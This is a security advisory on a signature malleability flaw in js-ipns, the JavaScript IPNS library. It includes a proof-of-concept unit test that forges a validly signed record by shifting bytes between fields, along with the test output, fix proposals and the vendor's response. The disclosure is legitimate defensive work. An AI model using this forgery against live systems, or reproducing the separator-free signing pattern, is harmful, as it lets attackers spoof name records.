js-ipns - Signed Message Malleability Problem

Vulnerability Note

1 Summary

IPNS is the InterPlanetary Name System and allows to serve changing CID’s under a fixed address (/ipns/<pubkey>). This is accomplished by having a node sign data (target CID, lifetime, ..) with an ipns private key. Nodes can then query the peer-to-peer network to provide signed records corresponding to a public key. The signed data is validated by the library and the payload is used to resolve the target CID for the ipns entry.

It was found, that the JavaScript implementation of the ipns protocol (js-ipns)) fails to properly verify the structure of the signed ipns message. This would allow to perform a kind of a signed message forging attack that would validate fine with js-ipns even though the data fields changed.

Essentially, it is shown, that the simplest attack would be a truncation attack that truncates the value field of a signed ipns message while reusing the signature essentially forging a message in the name of the original signer.

2 Details

2.1 Description

The problem boils down to the way data is signed with ipns. Instead of signing the structured data, the library extracts the fields that are to be signed and concatenates them into one flattened bytearray. While doing this, information about what data belongs to which field is lost. Since the fields are of variable length there are now multiple structured messages that can be created that serialize to the same bytestring.

For reference, this is the method that extracts and serialized the structured message (value, validityType, validity) to a byte-stream for validation/signing: [varLength: value][varLength: validity][varLength-enum: validityTypeBuffer]

/**
 * Utility for creating the record data for being signed
 *
 * @param {Uint8Array} value
 * @param {number} validityType
 * @param {Uint8Array} validity
 */
const ipnsEntryDataForSig = (value, validityType, validity) => {
  const validityTypeBuffer = uint8ArrayFromString(getValidityType(validityType))
  return uint8ArrayConcat([value, validity, validityTypeBuffer])
}

https://github.com/ipfs/js-ipns/blob/6d690d6dd198929d702a6ad57a4ba8c131f691ec/src/index.js#L280-L291

For example, the following structured messages would result in the same serialized byte-stream). Note how the semantic meaning of the extracted data is completely different:

Structure: [value][validity][type=EOL]

  • [QmWEekX7EZLUd9VXRNMRXW3LXe4F6x7mB8oPxY5XLptrBq][2033-05-18T03:33:20.000000000Z][EOL] (value=QmWEekX7EZLUd9VXRNMRXW3LXe4F6x7mB8oPxY5XLptrBq)
  • [QmWEekX7EZLUd9VXRNMRXW3][LXe4F6x7mB8oPxY5XLptrBq2033-05-18T03:33:20.000000000Z][EOL] (value=QmWEekX7EZLUd9VXRNMRXW3)
  • [][QmWEekX7EZLUd9VXRNMRXW3LXe4F6x7mB8oPxY5XLptrBq2033-05-18T03:33:20.000000000Z][EOL] (value= )

2.2 Proof of Concept

The following unit-test (a modification of ./test/index.spec.js) demonstrates the issue by creating a new signed message originalEntry for cid QmWEekX7EZLUd9VXRNMRXW3LXe4F6x7mB8oPxY5XLptrBq with an EOL validity of 2033-05-18T03:33:20.000000000Z. The signed data is then validated.

Let’s assume a Man-in-the-Middle attacker obtains a signed ipns response. This attacker can now create a forgedEntry truncating the original value by moving parts of it to the validity field. The serialized and therefore validated data stays the same.

 it('signed data structure not validated correctly - vulnerability is unpatched if this passes', async () => {
    const sequence = 0 //@audit never checked
    // 2033-05-18T03:33:20.000000000Z
    const expiration = '2033-05-18T03:33:20.000000000Z'
    const originalEntry = await ipns.createWithExpiration(rsa, cid, sequence, expiration)
    await ipns.validate(rsa.public, originalEntry)
    expect(originalEntry).to.have.property('validity')
    expect(originalEntry.validity).to.equalBytes(uint8ArrayFromString('2033-05-18T03:33:20.000000000Z'))

    //forge signature: - validates: value.validity.validityType
    let forgedEntry = Object.assign({}, originalEntry);  //clone original
    forgedEntry.value = new Uint8Array();

    const uint8ArrayConcat = require('uint8arrays/concat')
    forgedEntry.validity = uint8ArrayConcat([ originalEntry.value ,uint8ArrayFromString('2033-05-18T03:33:20.000000000Z')])
    forgedEntry.sequence = 0xfa3e //@audit - sequence is not part of signed data?

    //console.log(forgedEntry)
    await ipns.validate(rsa.public, forgedEntry)
    expect(forgedEntry).to.have.property('validity')
    expect(forgedEntry.validity).to.equalBytes(uint8ArrayConcat([ originalEntry.value ,uint8ArrayFromString('2033-05-18T03:33:20.000000000Z')]))
    expect(forgedEntry.value).to.equalBytes(new Uint8Array())

  })

Here’s the unit-test output with some raw debugging data for the messages that were exchanged.

⇒  npm run test:node

Test Node.js
Warning: Cannot find any files matching pattern "test/node.{js,ts}"


  ipns
--->
Uint8Array(46) [
  81, 109,  87,  69, 101, 107,  88, 55, 69,  90,
  76,  85, 100,  57,  86,  88,  82, 78, 77,  82,
  88,  87,  51,  76,  88, 101,  52, 70, 54, 120,
  55, 109,  66,  56, 111,  80, 120, 89, 53,  88,
  76, 112, 116, 114,  66, 113
]
Uint8Array(30) [
  50, 48, 51, 51, 45, 48, 53, 45, 49,
  56, 84, 48, 51, 58, 51, 51, 58, 50,
  48, 46, 48, 48, 48, 48, 48, 48, 48,
  48, 48, 90
]
Uint8Array(3) [ 69, 79, 76 ]
<---
--->
Uint8Array(46) [
  81, 109,  87,  69, 101, 107,  88, 55, 69,  90,
  76,  85, 100,  57,  86,  88,  82, 78, 77,  82,
  88,  87,  51,  76,  88, 101,  52, 70, 54, 120,
  55, 109,  66,  56, 111,  80, 120, 89, 53,  88,
  76, 112, 116, 114,  66, 113
]
Uint8Array(30) [
  50, 48, 51, 51, 45, 48, 53, 45, 49,
  56, 84, 48, 51, 58, 51, 51, 58, 50,
  48, 46, 48, 48, 48, 48, 48, 48, 48,
  48, 48, 90
]
Uint8Array(3) [ 69, 79, 76 ]
<---
concat-data
Uint8Array(79) [
   81, 109, 87, 69, 101, 107,  88,  55, 69,  90,  76, 85,
  100,  57, 86, 88,  82,  78,  77,  82, 88,  87,  51, 76,
   88, 101, 52, 70,  54, 120,  55, 109, 66,  56, 111, 80,
  120,  89, 53, 88,  76, 112, 116, 114, 66, 113,  50, 48,
   51,  51, 45, 48,  53,  45,  49,  56, 84,  48,  51, 58,
   51,  51, 58, 50,  48,  46,  48,  48, 48,  48,  48, 48,
   48,  48, 48, 90,  69,  79,  76
]
--->
Uint8Array(0) []
Uint8Array(76) [
   81, 109, 87, 69, 101, 107,  88,  55, 69,  90,  76, 85,
  100,  57, 86, 88,  82,  78,  77,  82, 88,  87,  51, 76,
   88, 101, 52, 70,  54, 120,  55, 109, 66,  56, 111, 80,
  120,  89, 53, 88,  76, 112, 116, 114, 66, 113,  50, 48,
   51,  51, 45, 48,  53,  45,  49,  56, 84,  48,  51, 58,
   51,  51, 58, 50,  48,  46,  48,  48, 48,  48,  48, 48,
   48,  48, 48, 90
]
Uint8Array(3) [ 69, 79, 76 ]
<---
concat-data
Uint8Array(79) [
   81, 109, 87, 69, 101, 107,  88,  55, 69,  90,  76, 85,
  100,  57, 86, 88,  82,  78,  77,  82, 88,  87,  51, 76,
   88, 101, 52, 70,  54, 120,  55, 109, 66,  56, 111, 80,
  120,  89, 53, 88,  76, 112, 116, 114, 66, 113,  50, 48,
   51,  51, 45, 48,  53,  45,  49,  56, 84,  48,  51, 58,
   51,  51, 58, 50,  48,  46,  48,  48, 48,  48,  48, 48,
   48,  48, 48, 90,  69,  79,  76
]
    ✓ signed data structure not validated correctly - vulnerability is unpatched if this passes


  1 passing (218ms)

Interesting enough, the library even succeeds parsing the now garbage prefixed timestamp from the validity field because utils/parseRFC3339 does not enforce a proper timestamp structure validation at all.

/**
 * Parses a date string formatted as `RFC3339Nano` into a
 * JavaScript Date object.
 *
 * @param {string} time
 */
module.exports.parseRFC3339 = (time) => {
  const rfc3339Matcher = new RegExp(
    // 2006-01-02T
    '(\\d{4})-(\\d{2})-(\\d{2})T' +
    // 15:04:05
    '(\\d{2}):(\\d{2}):(\\d{2})' +
    // .999999999Z
    '\\.(\\d+)Z'
  )
  const m = String(time).trim().match(rfc3339Matcher)

  if (!m) {
    throw new Error('Invalid format')
  }

  const year = parseInt(m[1], 10)
  const month = parseInt(m[2], 10) - 1
  const date = parseInt(m[3], 10)
  const hour = parseInt(m[4], 10)
  const minute = parseInt(m[5], 10)
  const second = parseInt(m[6], 10)
  const millisecond = parseInt(m[7].slice(0, -6), 10)

  return new Date(Date.UTC(year, month, date, hour, minute, second, millisecond))
}

https://github.com/ipfs/js-ipns/blob/6d690d6dd198929d702a6ad57a4ba8c131f691ec/src/utils.js#L28-L52

2.3 Proposed Fix

  • use a serialization format that preserves data structure or at least include field separators that do not resemble valid values
  • strictly enforce the timestamp format
  • it is unclear what the sequence number is used for. It is assumed that it is part of the response message and should therefore be signed as well.

3 Vendor Response

Vendor response: Addressed by phasing out v1 signature support, only allowing v2 signatures.

3.1 Timeline

MAY/28/2021 - initial vendor contact
AUG/27/2021 - is addressed by phasing out v1 signature support